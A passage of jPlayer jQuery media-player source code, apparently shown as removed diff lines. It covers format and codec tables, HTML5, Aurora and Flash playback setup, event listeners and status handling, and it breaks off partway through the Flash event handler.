verticalPlaybackRate: false, - globalVolume: false, // Set to make volume and muted changes affect all jPlayer instances with this option enabled - idPrefix: "jp", // Prefix for the ids of html elements created by jPlayer. For flash, this must not include characters: . - + * / \ - noConflict: "jQuery", - emulateHtml: false, // Emulates the HTML5 Media element on the jPlayer element. - consoleAlerts: true, // Alerts are sent to the console.log() instead of alert(). - errorAlerts: false, - warningAlerts: false - }, - optionsAudio: { - size: { - width: "0px", - height: "0px", - cssClass: "" - }, - sizeFull: { - width: "0px", - height: "0px", - cssClass: "" - } - }, - optionsVideo: { - size: { - width: "480px", - height: "270px", - cssClass: "jp-video-270p" - }, - sizeFull: { - width: "100%", - height: "100%", - cssClass: "jp-video-full" - } - }, - instances: {}, // Static Object - status: { // Instanced in _init() - src: "", - media: {}, - paused: true, - format: {}, - formatType: "", - waitForPlay: true, // Same as waitForLoad except in case where preloading. - waitForLoad: true, - srcSet: false, - video: false, // True if playing a video - seekPercent: 0, - currentPercentRelative: 0, - currentPercentAbsolute: 0, - currentTime: 0, - duration: 0, - remaining: 0, - videoWidth: 0, // Intrinsic width of the video in pixels. - videoHeight: 0, // Intrinsic height of the video in pixels. - readyState: 0, - networkState: 0, - playbackRate: 1, // Warning - Now both an option and a status property - ended: 0 - -/* Persistant status properties created dynamically at _init(): - width - height - cssClass - nativeVideoControls - noFullWindow - noVolume - playbackRateEnabled // Warning - Technically, we can have both Flash and HTML, so this might not be correct if the Flash is active. That is a niche case. -*/ - }, - - internal: { // Instanced in _init() - ready: false - // instance: undefined - // domNode: undefined - // htmlDlyCmdId: undefined - // autohideId: undefined - // mouse: undefined - // cmdsIgnored - }, - solution: { // Static Object: Defines the solutions built in jPlayer. - html: true, - aurora: true, - flash: true - }, - // 'MPEG-4 support' : canPlayType('video/mp4; codecs="mp4v.20.8"') - format: { // Static Object - mp3: { - codec: 'audio/mpeg', - flashCanPlay: true, - media: 'audio' - }, - m4a: { // AAC / MP4 - codec: 'audio/mp4; codecs="mp4a.40.2"', - flashCanPlay: true, - media: 'audio' - }, - m3u8a: { // AAC / MP4 / Apple HLS - codec: 'application/vnd.apple.mpegurl; codecs="mp4a.40.2"', - flashCanPlay: false, - media: 'audio' - }, - m3ua: { // M3U - codec: 'audio/mpegurl', - flashCanPlay: false, - media: 'audio' - }, - oga: { // OGG - codec: 'audio/ogg; codecs="vorbis, opus"', - flashCanPlay: false, - media: 'audio' - }, - flac: { // FLAC - codec: 'audio/x-flac', - flashCanPlay: false, - media: 'audio' - }, - wav: { // PCM - codec: 'audio/wav; codecs="1"', - flashCanPlay: false, - media: 'audio' - }, - webma: { // WEBM - codec: 'audio/webm; codecs="vorbis"', - flashCanPlay: false, - media: 'audio' - }, - fla: { // FLV / F4A - codec: 'audio/x-flv', - flashCanPlay: true, - media: 'audio' - }, - rtmpa: { // RTMP AUDIO - codec: 'audio/rtmp; codecs="rtmp"', - flashCanPlay: true, - media: 'audio' - }, - m4v: { // H.264 / MP4 - codec: 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"', - flashCanPlay: true, - media: 'video' - }, - m3u8v: { // H.264 / AAC / MP4 / Apple HLS - codec: 'application/vnd.apple.mpegurl; codecs="avc1.42E01E, mp4a.40.2"', - flashCanPlay: false, - media: 'video' - }, - m3uv: { // M3U - codec: 'audio/mpegurl', - flashCanPlay: false, - media: 'video' - }, - ogv: { // OGG - codec: 'video/ogg; codecs="theora, vorbis"', - flashCanPlay: false, - media: 'video' - }, - webmv: { // WEBM - codec: 'video/webm; codecs="vorbis, vp8"', - flashCanPlay: false, - media: 'video' - }, - flv: { // FLV / F4V - codec: 'video/x-flv', - flashCanPlay: true, - media: 'video' - }, - rtmpv: { // RTMP VIDEO - codec: 'video/rtmp; codecs="rtmp"', - flashCanPlay: true, - media: 'video' - } - }, - _init: function() { - var self = this; - - this.element.empty(); - - this.status = $.extend({}, this.status); // Copy static to unique instance. - this.internal = $.extend({}, this.internal); // Copy static to unique instance. - - // Initialize the time format - this.options.timeFormat = $.extend({}, $.jPlayer.timeFormat, this.options.timeFormat); - - // On iOS, assume commands will be ignored before user initiates them. - this.internal.cmdsIgnored = $.jPlayer.platform.ipad || $.jPlayer.platform.iphone || $.jPlayer.platform.ipod; - - this.internal.domNode = this.element.get(0); - - // Add key bindings focus to 1st jPlayer instanced with key control enabled. - if(this.options.keyEnabled && !$.jPlayer.focus) { - $.jPlayer.focus = this; - } - - // A fix for Android where older (2.3) and even some 4.x devices fail to work when changing the *audio* SRC and then playing immediately. - this.androidFix = { - setMedia: false, // True when media set - play: false, // True when a progress event will instruct the media to play - pause: false, // True when a progress event will instruct the media to pause at a time. - time: NaN // The play(time) parameter - }; - if($.jPlayer.platform.android) { - this.options.preload = this.options.preload !== 'auto' ? 'metadata' : 'auto'; // Default to metadata, but allow auto. - } - - this.formats = []; // Array based on supplied string option. Order defines priority. - this.solutions = []; // Array based on solution string option. Order defines priority. - this.require = {}; // Which media types are required: video, audio. - - this.htmlElement = {}; // DOM elements created by jPlayer - this.html = {}; // In _init()'s this.desired code and setmedia(): Accessed via this[solution], where solution from this.solutions array. - this.html.audio = {}; - this.html.video = {}; - this.aurora = {}; // In _init()'s this.desired code and setmedia(): Accessed via this[solution], where solution from this.solutions array. - this.aurora.formats = []; - this.aurora.properties = []; - this.flash = {}; // In _init()'s this.desired code and setmedia(): Accessed via this[solution], where solution from this.solutions array. - - this.css = {}; - this.css.cs = {}; // Holds the css selector strings - this.css.jq = {}; // Holds jQuery selectors. ie., $(css.cs.method) - - this.ancestorJq = []; // Holds jQuery selector of cssSelectorAncestor. Init would use $() instead of [], but it is only 1.4+ - - this.options.volume = this._limitValue(this.options.volume, 0, 1); // Limit volume value's bounds. - - // Create the formats array, with prority based on the order of the supplied formats string - $.each(this.options.supplied.toLowerCase().split(","), function(index1, value1) { - var format = value1.replace(/^\s+|\s+$/g, ""); //trim - if(self.format[format]) { // Check format is valid. - var dupFound = false; - $.each(self.formats, function(index2, value2) { // Check for duplicates - if(format === value2) { - dupFound = true; - return false; - } - }); - if(!dupFound) { - self.formats.push(format); - } - } - }); - - // Create the solutions array, with prority based on the order of the solution string - $.each(this.options.solution.toLowerCase().split(","), function(index1, value1) { - var solution = value1.replace(/^\s+|\s+$/g, ""); //trim - if(self.solution[solution]) { // Check solution is valid. - var dupFound = false; - $.each(self.solutions, function(index2, value2) { // Check for duplicates - if(solution === value2) { - dupFound = true; - return false; - } - }); - if(!dupFound) { - self.solutions.push(solution); - } - } - }); - - // Create Aurora.js formats array - $.each(this.options.auroraFormats.toLowerCase().split(","), function(index1, value1) { - var format = value1.replace(/^\s+|\s+$/g, ""); //trim - if(self.format[format]) { // Check format is valid. - var dupFound = false; - $.each(self.aurora.formats, function(index2, value2) { // Check for duplicates - if(format === value2) { - dupFound = true; - return false; - } - }); - if(!dupFound) { - self.aurora.formats.push(format); - } - } - }); - - this.internal.instance = "jp_" + this.count; - this.instances[this.internal.instance] = this.element; - - // Check the jPlayer div has an id and create one if required. Important for Flash to know the unique id for comms. - if(!this.element.attr("id")) { - this.element.attr("id", this.options.idPrefix + "_jplayer_" + this.count); - } - - this.internal.self = $.extend({}, { - id: this.element.attr("id"), - jq: this.element - }); - this.internal.audio = $.extend({}, { - id: this.options.idPrefix + "_audio_" + this.count, - jq: undefined - }); - this.internal.video = $.extend({}, { - id: this.options.idPrefix + "_video_" + this.count, - jq: undefined - }); - this.internal.flash = $.extend({}, { - id: this.options.idPrefix + "_flash_" + this.count, - jq: undefined, - swf: this.options.swfPath + (this.options.swfPath.toLowerCase().slice(-4) !== ".swf" ? (this.options.swfPath && this.options.swfPath.slice(-1) !== "/" ? "/" : "") + "jquery.jplayer.swf" : "") - }); - this.internal.poster = $.extend({}, { - id: this.options.idPrefix + "_poster_" + this.count, - jq: undefined - }); - - // Register listeners defined in the constructor - $.each($.jPlayer.event, function(eventName,eventType) { - if(self.options[eventName] !== undefined) { - self.element.bind(eventType + ".jPlayer", self.options[eventName]); // With .jPlayer namespace. - self.options[eventName] = undefined; // Destroy the handler pointer copy on the options. Reason, events can be added/removed in other ways so this could be obsolete and misleading. - } - }); - - // Determine if we require solutions for audio, video or both media types. - this.require.audio = false; - this.require.video = false; - $.each(this.formats, function(priority, format) { - self.require[self.format[format].media] = true; - }); - - // Now required types are known, finish the options default settings. - if(this.require.video) { - this.options = $.extend(true, {}, - this.optionsVideo, - this.options - ); - } else { - this.options = $.extend(true, {}, - this.optionsAudio, - this.options - ); - } - this._setSize(); // update status and jPlayer element size - - // Determine the status for Blocklisted options. - this.status.nativeVideoControls = this._uaBlocklist(this.options.nativeVideoControls); - this.status.noFullWindow = this._uaBlocklist(this.options.noFullWindow); - this.status.noVolume = this._uaBlocklist(this.options.noVolume); - - // Create event handlers if native fullscreen is supported - if($.jPlayer.nativeFeatures.fullscreen.api.fullscreenEnabled) { - this._fullscreenAddEventListeners(); - } - - // The native controls are only for video and are disabled when audio is also used. - this._restrictNativeVideoControls(); - - // Create the poster image. - this.htmlElement.poster = document.createElement('img'); - this.htmlElement.poster.id = this.internal.poster.id; - this.htmlElement.poster.onload = function() { // Note that this did not work on Firefox 3.6: poster.addEventListener("onload", function() {}, false); Did not investigate x-browser. - if(!self.status.video || self.status.waitForPlay) { - self.internal.poster.jq.show(); - } - }; - this.element.append(this.htmlElement.poster); - this.internal.poster.jq = $("#" + this.internal.poster.id); - this.internal.poster.jq.css({'width': this.status.width, 'height': this.status.height}); - this.internal.poster.jq.hide(); - this.internal.poster.jq.bind("click.jPlayer", function() { - self._trigger($.jPlayer.event.click); - }); - - // Generate the required media elements - this.html.audio.available = false; - if(this.require.audio) { // If a supplied format is audio - this.htmlElement.audio = document.createElement('audio'); - this.htmlElement.audio.id = this.internal.audio.id; - this.html.audio.available = !!this.htmlElement.audio.canPlayType && this._testCanPlayType(this.htmlElement.audio); // Test is for IE9 on Win Server 2008. - } - this.html.video.available = false; - if(this.require.video) { // If a supplied format is video - this.htmlElement.video = document.createElement('video'); - this.htmlElement.video.id = this.internal.video.id; - this.html.video.available = !!this.htmlElement.video.canPlayType && this._testCanPlayType(this.htmlElement.video); // Test is for IE9 on Win Server 2008. - } - - this.flash.available = this._checkForFlash(10.1); - - this.html.canPlay = {}; - this.aurora.canPlay = {}; - this.flash.canPlay = {}; - $.each(this.formats, function(priority, format) { - self.html.canPlay[format] = self.html[self.format[format].media].available && "" !== self.htmlElement[self.format[format].media].canPlayType(self.format[format].codec); - self.aurora.canPlay[format] = ($.inArray(format, self.aurora.formats) > -1); - self.flash.canPlay[format] = self.format[format].flashCanPlay && self.flash.available; - }); - this.html.desired = false; - this.aurora.desired = false; - this.flash.desired = false; - $.each(this.solutions, function(solutionPriority, solution) { - if(solutionPriority === 0) { - self[solution].desired = true; - } else { - var audioCanPlay = false; - var videoCanPlay = false; - $.each(self.formats, function(formatPriority, format) { - if(self[self.solutions[0]].canPlay[format]) { // The other solution can play - if(self.format[format].media === 'video') { - videoCanPlay = true; - } else { - audioCanPlay = true; - } - } - }); - self[solution].desired = (self.require.audio && !audioCanPlay) || (self.require.video && !videoCanPlay); - } - }); - // This is what jPlayer will support, based on solution and supplied. - this.html.support = {}; - this.aurora.support = {}; - this.flash.support = {}; - $.each(this.formats, function(priority, format) { - self.html.support[format] = self.html.canPlay[format] && self.html.desired; - self.aurora.support[format] = self.aurora.canPlay[format] && self.aurora.desired; - self.flash.support[format] = self.flash.canPlay[format] && self.flash.desired; - }); - // If jPlayer is supporting any format in a solution, then the solution is used. - this.html.used = false; - this.aurora.used = false; - this.flash.used = false; - $.each(this.solutions, function(solutionPriority, solution) { - $.each(self.formats, function(formatPriority, format) { - if(self[solution].support[format]) { - self[solution].used = true; - return false; - } - }); - }); - - // Init solution active state and the event gates to false. - this._resetActive(); - this._resetGate(); - - // Set up the css selectors for the control and feedback entities. - this._cssSelectorAncestor(this.options.cssSelectorAncestor); - - // If neither html nor aurora nor flash are being used by this browser, then media playback is not possible. Trigger an error event. - if(!(this.html.used || this.aurora.used || this.flash.used)) { - this._error( { - type: $.jPlayer.error.NO_SOLUTION, - context: "{solution:'" + this.options.solution + "', supplied:'" + this.options.supplied + "'}", - message: $.jPlayer.errorMsg.NO_SOLUTION, - hint: $.jPlayer.errorHint.NO_SOLUTION - }); - if(this.css.jq.noSolution.length) { - this.css.jq.noSolution.show(); - } - } else { - if(this.css.jq.noSolution.length) { - this.css.jq.noSolution.hide(); - } - } - - // Add the flash solution if it is being used. - if(this.flash.used) { - var htmlObj, - flashVars = 'jQuery=' + encodeURI(this.options.noConflict) + '&id=' + encodeURI(this.internal.self.id) + '&vol=' + this.options.volume + '&muted=' + this.options.muted; - - // Code influenced by SWFObject 2.2: http://code.google.com/p/swfobject/ - // Non IE browsers have an initial Flash size of 1 by 1 otherwise the wmode affected the Flash ready event. - - if($.jPlayer.browser.msie && (Number($.jPlayer.browser.version) < 9 || $.jPlayer.browser.documentMode < 9)) { - var objStr = ''; - - var paramStr = [ - '', - '', - '', - '', - '' - ]; - - htmlObj = document.createElement(objStr); - for(var i=0; i < paramStr.length; i++) { - htmlObj.appendChild(document.createElement(paramStr[i])); - } - } else { - var createParam = function(el, n, v) { - var p = document.createElement("param"); - p.setAttribute("name", n); - p.setAttribute("value", v); - el.appendChild(p); - }; - - htmlObj = document.createElement("object"); - htmlObj.setAttribute("id", this.internal.flash.id); - htmlObj.setAttribute("name", this.internal.flash.id); - htmlObj.setAttribute("data", this.internal.flash.swf); - htmlObj.setAttribute("type", "application/x-shockwave-flash"); - htmlObj.setAttribute("width", "1"); // Non-zero - htmlObj.setAttribute("height", "1"); // Non-zero - htmlObj.setAttribute("tabindex", "-1"); - - createParam(htmlObj, "flashvars", flashVars); - createParam(htmlObj, "allowscriptaccess", "always"); - createParam(htmlObj, "bgcolor", this.options.backgroundColor); - createParam(htmlObj, "wmode", this.options.wmode); - } - - this.element.append(htmlObj); - this.internal.flash.jq = $(htmlObj); - } - - // Setup playbackRate ability before using _addHtmlEventListeners() - if(this.html.used && !this.flash.used) { // If only HTML - // Using the audio element capabilities for playbackRate. ie., Assuming video element is the same. - this.status.playbackRateEnabled = this._testPlaybackRate('audio'); - } else { - this.status.playbackRateEnabled = false; - } - - this._updatePlaybackRate(); - - // Add the HTML solution if being used. - if(this.html.used) { - - // The HTML Audio handlers - if(this.html.audio.available) { - this._addHtmlEventListeners(this.htmlElement.audio, this.html.audio); - this.element.append(this.htmlElement.audio); - this.internal.audio.jq = $("#" + this.internal.audio.id); - } - - // The HTML Video handlers - if(this.html.video.available) { - this._addHtmlEventListeners(this.htmlElement.video, this.html.video); - this.element.append(this.htmlElement.video); - this.internal.video.jq = $("#" + this.internal.video.id); - if(this.status.nativeVideoControls) { - this.internal.video.jq.css({'width': this.status.width, 'height': this.status.height}); - } else { - this.internal.video.jq.css({'width':'0px', 'height':'0px'}); // Using size 0x0 since a .hide() causes issues in iOS - } - this.internal.video.jq.bind("click.jPlayer", function() { - self._trigger($.jPlayer.event.click); - }); - } - } - - // Add the Aurora.js solution if being used. - if(this.aurora.used) { - // Aurora.js player need to be created for each media, see setMedia function. - } - - // Create the bridge that emulates the HTML Media element on the jPlayer DIV - if( this.options.emulateHtml ) { - this._emulateHtmlBridge(); - } - - if((this.html.used || this.aurora.used) && !this.flash.used) { // If only HTML, then emulate flash ready() call after 100ms. - setTimeout( function() { - self.internal.ready = true; - self.version.flash = "n/a"; - self._trigger($.jPlayer.event.repeat); // Trigger the repeat event so its handler can initialize itself with the loop option. - self._trigger($.jPlayer.event.ready); - }, 100); - } - - // Initialize the interface components with the options. - this._updateNativeVideoControls(); - // The other controls are now setup in _cssSelectorAncestor() - if(this.css.jq.videoPlay.length) { - this.css.jq.videoPlay.hide(); - } - - $.jPlayer.prototype.count++; // Change static variable via prototype. - }, - destroy: function() { - // MJP: The background change remains. Would need to store the original to restore it correctly. - // MJP: The jPlayer element's size change remains. - - // Clear the media to reset the GUI and stop any downloads. Streams on some browsers had persited. (Chrome) - this.clearMedia(); - // Remove the size/sizeFull cssClass from the cssSelectorAncestor - this._removeUiClass(); - // Remove the times from the GUI - if(this.css.jq.currentTime.length) { - this.css.jq.currentTime.text(""); - } - if(this.css.jq.duration.length) { - this.css.jq.duration.text(""); - } - // Remove any bindings from the interface controls. - $.each(this.css.jq, function(fn, jq) { - // Check selector is valid before trying to execute method. - if(jq.length) { - jq.unbind(".jPlayer"); - } - }); - // Remove the click handlers for $.jPlayer.event.click - this.internal.poster.jq.unbind(".jPlayer"); - if(this.internal.video.jq) { - this.internal.video.jq.unbind(".jPlayer"); - } - // Remove the fullscreen event handlers - this._fullscreenRemoveEventListeners(); - // Remove key bindings - if(this === $.jPlayer.focus) { - $.jPlayer.focus = null; - } - // Destroy the HTML bridge. - if(this.options.emulateHtml) { - this._destroyHtmlBridge(); - } - this.element.removeData("jPlayer"); // Remove jPlayer data - this.element.unbind(".jPlayer"); // Remove all event handlers created by the jPlayer constructor - this.element.empty(); // Remove the inserted child elements - - delete this.instances[this.internal.instance]; // Clear the instance on the static instance object - }, - destroyRemoved: function() { // Destroy any instances that have gone away. - var self = this; - $.each(this.instances, function(i, element) { - if(self.element !== element) { // Do not destroy this instance. - if(!element.data("jPlayer")) { // Check that element is a real jPlayer. - element.jPlayer("destroy"); - delete self.instances[i]; - } - } - }); - }, - enable: function() { // Plan to implement - // options.disabled = false - }, - disable: function () { // Plan to implement - // options.disabled = true - }, - _testCanPlayType: function(elem) { - // IE9 on Win Server 2008 did not implement canPlayType(), but it has the property. - try { - elem.canPlayType(this.format.mp3.codec); // The type is irrelevant. - return true; - } catch(err) { - return false; - } - }, - _testPlaybackRate: function(type) { - // type: String 'audio' or 'video' - var el, rate = 0.5; - type = typeof type === 'string' ? type : 'audio'; - el = document.createElement(type); - // Wrapping in a try/catch, just in case older HTML5 browsers throw and error. - try { - if('playbackRate' in el) { - el.playbackRate = rate; - return el.playbackRate === rate; - } else { - return false; - } - } catch(err) { - return false; - } - }, - _uaBlocklist: function(list) { - // list : object with properties that are all regular expressions. Property names are irrelevant. - // Returns true if the user agent is matched in list. - var ua = navigator.userAgent.toLowerCase(), - block = false; - - $.each(list, function(p, re) { - if(re && re.test(ua)) { - block = true; - return false; // exit $.each. - } - }); - return block; - }, - _restrictNativeVideoControls: function() { - // Fallback to noFullWindow when nativeVideoControls is true and audio media is being used. Affects when both media types are used. - if(this.require.audio) { - if(this.status.nativeVideoControls) { - this.status.nativeVideoControls = false; - this.status.noFullWindow = true; - } - } - }, - _updateNativeVideoControls: function() { - if(this.html.video.available && this.html.used) { - // Turn the HTML Video controls on/off - this.htmlElement.video.controls = this.status.nativeVideoControls; - // Show/hide the jPlayer GUI. - this._updateAutohide(); - // For when option changed. The poster image is not updated, as it is dealt with in setMedia(). Acceptable degradation since seriously doubt these options will change on the fly. Can again review later. - if(this.status.nativeVideoControls && this.require.video) { - this.internal.poster.jq.hide(); - this.internal.video.jq.css({'width': this.status.width, 'height': this.status.height}); - } else if(this.status.waitForPlay && this.status.video) { - this.internal.poster.jq.show(); - this.internal.video.jq.css({'width': '0px', 'height': '0px'}); - } - } - }, - _addHtmlEventListeners: function(mediaElement, entity) { - var self = this; - mediaElement.preload = this.options.preload; - mediaElement.muted = this.options.muted; - mediaElement.volume = this.options.volume; - - if(this.status.playbackRateEnabled) { - mediaElement.defaultPlaybackRate = this.options.defaultPlaybackRate; - mediaElement.playbackRate = this.options.playbackRate; - } - - // Create the event listeners - // Only want the active entity to affect jPlayer and bubble events. - // Using entity.gate so that object is referenced and gate property always current - - mediaElement.addEventListener("progress", function() { - if(entity.gate) { - if(self.internal.cmdsIgnored && this.readyState > 0) { // Detect iOS executed the command - self.internal.cmdsIgnored = false; - } - self._getHtmlStatus(mediaElement); - self._updateInterface(); - self._trigger($.jPlayer.event.progress); - } - }, false); - mediaElement.addEventListener("loadeddata", function() { - if(entity.gate) { - self.androidFix.setMedia = false; // Disable the fix after the first progress event. - if(self.androidFix.play) { // Play Android audio - performing the fix. - self.androidFix.play = false; - self.play(self.androidFix.time); - } - if(self.androidFix.pause) { // Pause Android audio at time - performing the fix. - self.androidFix.pause = false; - self.pause(self.androidFix.time); - } - self._trigger($.jPlayer.event.loadeddata); - } - }, false); - mediaElement.addEventListener("timeupdate", function() { - if(entity.gate) { - self._getHtmlStatus(mediaElement); - self._updateInterface(); - self._trigger($.jPlayer.event.timeupdate); - } - }, false); - mediaElement.addEventListener("durationchange", function() { - if(entity.gate) { - self._getHtmlStatus(mediaElement); - self._updateInterface(); - self._trigger($.jPlayer.event.durationchange); - } - }, false); - mediaElement.addEventListener("play", function() { - if(entity.gate) { - self._updateButtons(true); - self._html_checkWaitForPlay(); // So the native controls update this variable and puts the hidden interface in the correct state. Affects toggling native controls. - self._trigger($.jPlayer.event.play); - } - }, false); - mediaElement.addEventListener("playing", function() { - if(entity.gate) { - self._updateButtons(true); - self._seeked(); - self._trigger($.jPlayer.event.playing); - } - }, false); - mediaElement.addEventListener("pause", function() { - if(entity.gate) { - self._updateButtons(false); - self._trigger($.jPlayer.event.pause); - } - }, false); - mediaElement.addEventListener("waiting", function() { - if(entity.gate) { - self._seeking(); - self._trigger($.jPlayer.event.waiting); - } - }, false); - mediaElement.addEventListener("seeking", function() { - if(entity.gate) { - self._seeking(); - self._trigger($.jPlayer.event.seeking); - } - }, false); - mediaElement.addEventListener("seeked", function() { - if(entity.gate) { - self._seeked(); - self._trigger($.jPlayer.event.seeked); - } - }, false); - mediaElement.addEventListener("volumechange", function() { - if(entity.gate) { - // Read the values back from the element as the Blackberry PlayBook shares the volume with the physical buttons master volume control. - // However, when tested 6th July 2011, those buttons do not generate an event. The physical play/pause button does though. - self.options.volume = mediaElement.volume; - self.options.muted = mediaElement.muted; - self._updateMute(); - self._updateVolume(); - self._trigger($.jPlayer.event.volumechange); - } - }, false); - mediaElement.addEventListener("ratechange", function() { - if(entity.gate) { - self.options.defaultPlaybackRate = mediaElement.defaultPlaybackRate; - self.options.playbackRate = mediaElement.playbackRate; - self._updatePlaybackRate(); - self._trigger($.jPlayer.event.ratechange); - } - }, false); - mediaElement.addEventListener("suspend", function() { // Seems to be the only way of capturing that the iOS4 browser did not actually play the media from the page code. ie., It needs a user gesture. - if(entity.gate) { - self._seeked(); - self._trigger($.jPlayer.event.suspend); - } - }, false); - mediaElement.addEventListener("ended", function() { - if(entity.gate) { - // Order of the next few commands are important. Change the time and then pause. - // Solves a bug in Firefox, where issuing pause 1st causes the media to play from the start. ie., The pause is ignored. - if(!$.jPlayer.browser.webkit) { // Chrome crashes if you do this in conjunction with a setMedia command in an ended event handler. ie., The playlist demo. - self.htmlElement.media.currentTime = 0; // Safari does not care about this command. ie., It works with or without this line. (Both Safari and Chrome are Webkit.) - } - self.htmlElement.media.pause(); // Pause otherwise a click on the progress bar will play from that point, when it shouldn't, since it stopped playback. - self._updateButtons(false); - self._getHtmlStatus(mediaElement, true); // With override true. Otherwise Chrome leaves progress at full. - self._updateInterface(); - self._trigger($.jPlayer.event.ended); - } - }, false); - mediaElement.addEventListener("error", function() { - if(entity.gate) { - self._updateButtons(false); - self._seeked(); - if(self.status.srcSet) { // Deals with case of clearMedia() causing an error event. - clearTimeout(self.internal.htmlDlyCmdId); // Clears any delayed commands used in the HTML solution. - self.status.waitForLoad = true; // Allows the load operation to try again. - self.status.waitForPlay = true; // Reset since a play was captured. - if(self.status.video && !self.status.nativeVideoControls) { - self.internal.video.jq.css({'width':'0px', 'height':'0px'}); - } - if(self._validString(self.status.media.poster) && !self.status.nativeVideoControls) { - self.internal.poster.jq.show(); - } - if(self.css.jq.videoPlay.length) { - self.css.jq.videoPlay.show(); - } - self._error( { - type: $.jPlayer.error.URL, - context: self.status.src, // this.src shows absolute urls. Want context to show the url given. - message: $.jPlayer.errorMsg.URL, - hint: $.jPlayer.errorHint.URL - }); - } - } - }, false); - // Create all the other event listeners that bubble up to a jPlayer event from html, without being used by jPlayer. - $.each($.jPlayer.htmlEvent, function(i, eventType) { - mediaElement.addEventListener(this, function() { - if(entity.gate) { - self._trigger($.jPlayer.event[eventType]); - } - }, false); - }); - }, - _addAuroraEventListeners : function(player, entity) { - var self = this; - //player.preload = this.options.preload; - //player.muted = this.options.muted; - player.volume = this.options.volume * 100; - - // Create the event listeners - // Only want the active entity to affect jPlayer and bubble events. - // Using entity.gate so that object is referenced and gate property always current - - player.on("progress", function() { - if(entity.gate) { - if(self.internal.cmdsIgnored && this.readyState > 0) { // Detect iOS executed the command - self.internal.cmdsIgnored = false; - } - self._getAuroraStatus(player); - self._updateInterface(); - self._trigger($.jPlayer.event.progress); - // Progress with song duration, we estimate timeupdate need to be triggered too. - if (player.duration > 0) { - self._trigger($.jPlayer.event.timeupdate); - } - } - }, false); - player.on("ready", function() { - if(entity.gate) { - self._trigger($.jPlayer.event.loadeddata); - } - }, false); - player.on("duration", function() { - if(entity.gate) { - self._getAuroraStatus(player); - self._updateInterface(); - self._trigger($.jPlayer.event.durationchange); - } - }, false); - player.on("end", function() { - if(entity.gate) { - // Order of the next few commands are important. Change the time and then pause. - self._updateButtons(false); - self._getAuroraStatus(player, true); - self._updateInterface(); - self._trigger($.jPlayer.event.ended); - } - }, false); - player.on("error", function() { - if(entity.gate) { - self._updateButtons(false); - self._seeked(); - if(self.status.srcSet) { // Deals with case of clearMedia() causing an error event. - self.status.waitForLoad = true; // Allows the load operation to try again. - self.status.waitForPlay = true; // Reset since a play was captured. - if(self.status.video && !self.status.nativeVideoControls) { - self.internal.video.jq.css({'width':'0px', 'height':'0px'}); - } - if(self._validString(self.status.media.poster) && !self.status.nativeVideoControls) { - self.internal.poster.jq.show(); - } - if(self.css.jq.videoPlay.length) { - self.css.jq.videoPlay.show(); - } - self._error( { - type: $.jPlayer.error.URL, - context: self.status.src, // this.src shows absolute urls. Want context to show the url given. - message: $.jPlayer.errorMsg.URL, - hint: $.jPlayer.errorHint.URL - }); - } - } - }, false); - }, - _getHtmlStatus: function(media, override) { - var ct = 0, cpa = 0, sp = 0, cpr = 0; - - // Fixes the duration bug in iOS, where the durationchange event occurs when media.duration is not always correct. - // Fixes the initial duration bug in BB OS7, where the media.duration is infinity and displays as NaN:NaN due to Date() using inifity. - if(isFinite(media.duration)) { - this.status.duration = media.duration; - } - - ct = media.currentTime; - cpa = (this.status.duration > 0) ? 100 * ct / this.status.duration : 0; - if((typeof media.seekable === "object") && (media.seekable.length > 0)) { - sp = (this.status.duration > 0) ? 100 * media.seekable.end(media.seekable.length-1) / this.status.duration : 100; - cpr = (this.status.duration > 0) ? 100 * media.currentTime / media.seekable.end(media.seekable.length-1) : 0; // Duration conditional for iOS duration bug. ie., seekable.end is a NaN in that case. - } else { - sp = 100; - cpr = cpa; - } - - if(override) { - ct = 0; - cpr = 0; - cpa = 0; - } - - this.status.seekPercent = sp; - this.status.currentPercentRelative = cpr; - this.status.currentPercentAbsolute = cpa; - this.status.currentTime = ct; - - this.status.remaining = this.status.duration - this.status.currentTime; - - this.status.videoWidth = media.videoWidth; - this.status.videoHeight = media.videoHeight; - - this.status.readyState = media.readyState; - this.status.networkState = media.networkState; - this.status.playbackRate = media.playbackRate; - this.status.ended = media.ended; - }, - _getAuroraStatus: function(player, override) { - var ct = 0, cpa = 0, sp = 0, cpr = 0; - - this.status.duration = player.duration / 1000; - - ct = player.currentTime / 1000; - cpa = (this.status.duration > 0) ? 100 * ct / this.status.duration : 0; - if(player.buffered > 0) { - sp = (this.status.duration > 0) ? (player.buffered * this.status.duration) / this.status.duration : 100; - cpr = (this.status.duration > 0) ? ct / (player.buffered * this.status.duration) : 0; - } else { - sp = 100; - cpr = cpa; - } - - if(override) { - ct = 0; - cpr = 0; - cpa = 0; - } - - this.status.seekPercent = sp; - this.status.currentPercentRelative = cpr; - this.status.currentPercentAbsolute = cpa; - this.status.currentTime = ct; - - this.status.remaining = this.status.duration - this.status.currentTime; - - this.status.readyState = 4; // status.readyState; - this.status.networkState = 0; // status.networkState; - this.status.playbackRate = 1; // status.playbackRate; - this.status.ended = false; // status.ended; - }, - _resetStatus: function() { - this.status = $.extend({}, this.status, $.jPlayer.prototype.status); // Maintains the status properties that persist through a reset. - }, - _trigger: function(eventType, error, warning) { // eventType always valid as called using $.jPlayer.event.eventType - var event = $.Event(eventType); - event.jPlayer = {}; - event.jPlayer.version = $.extend({}, this.version); - event.jPlayer.options = $.extend(true, {}, this.options); // Deep copy - event.jPlayer.status = $.extend(true, {}, this.status); // Deep copy - event.jPlayer.html = $.extend(true, {}, this.html); // Deep copy - event.jPlayer.aurora = $.extend(true, {}, this.aurora); // Deep copy - event.jPlayer.flash = $.extend(true, {}, this.flash); // Deep copy - if(error) { - event.jPlayer.error = $.extend({}, error); - } - if(warning) { - event.jPlayer.warning = $.extend({}, warning); - } - this.element.trigger(event); - }, - jPlayerFlashEvent: function(eventType, status) { // Called from Flash - if(eventType === $.jPlayer.event.ready) { - if(!this.internal.ready) { - this.internal.ready = true; - this.internal.flash.jq.css({'width':'0px', 'height':'0px'}); // Once Flash generates the ready event, minimise to zero as it is not affected by wmode anymore. - - this.version.flash = status.version; - if(this.version.needFlash !== this.version.flash) { - this._error( { - type: $.jPlayer.error.VERSION, - context: this.version.flash, - message: $.jPlayer.errorMsg.VERSION + this.version.flash, - hint: $.jPlayer.errorHint.VERSION - }); - } - this._trigger($.jPlayer.event.repeat); // Trigger the repeat event so its handler can initialize itself with the loop option. - this._trigger(eventType); - } else { - // This condition occurs if the Flash is hidden and then shown again. - // Firefox also reloads the Flash if the CSS position changes. position:fixed is used for full screen. - - // Only do this if the Flash is the solution being used at the moment. Affects Media players where both solution may be being used. - if(this.flash.gate) { - - // Send the current status to the Flash now that it is ready (available) again. - 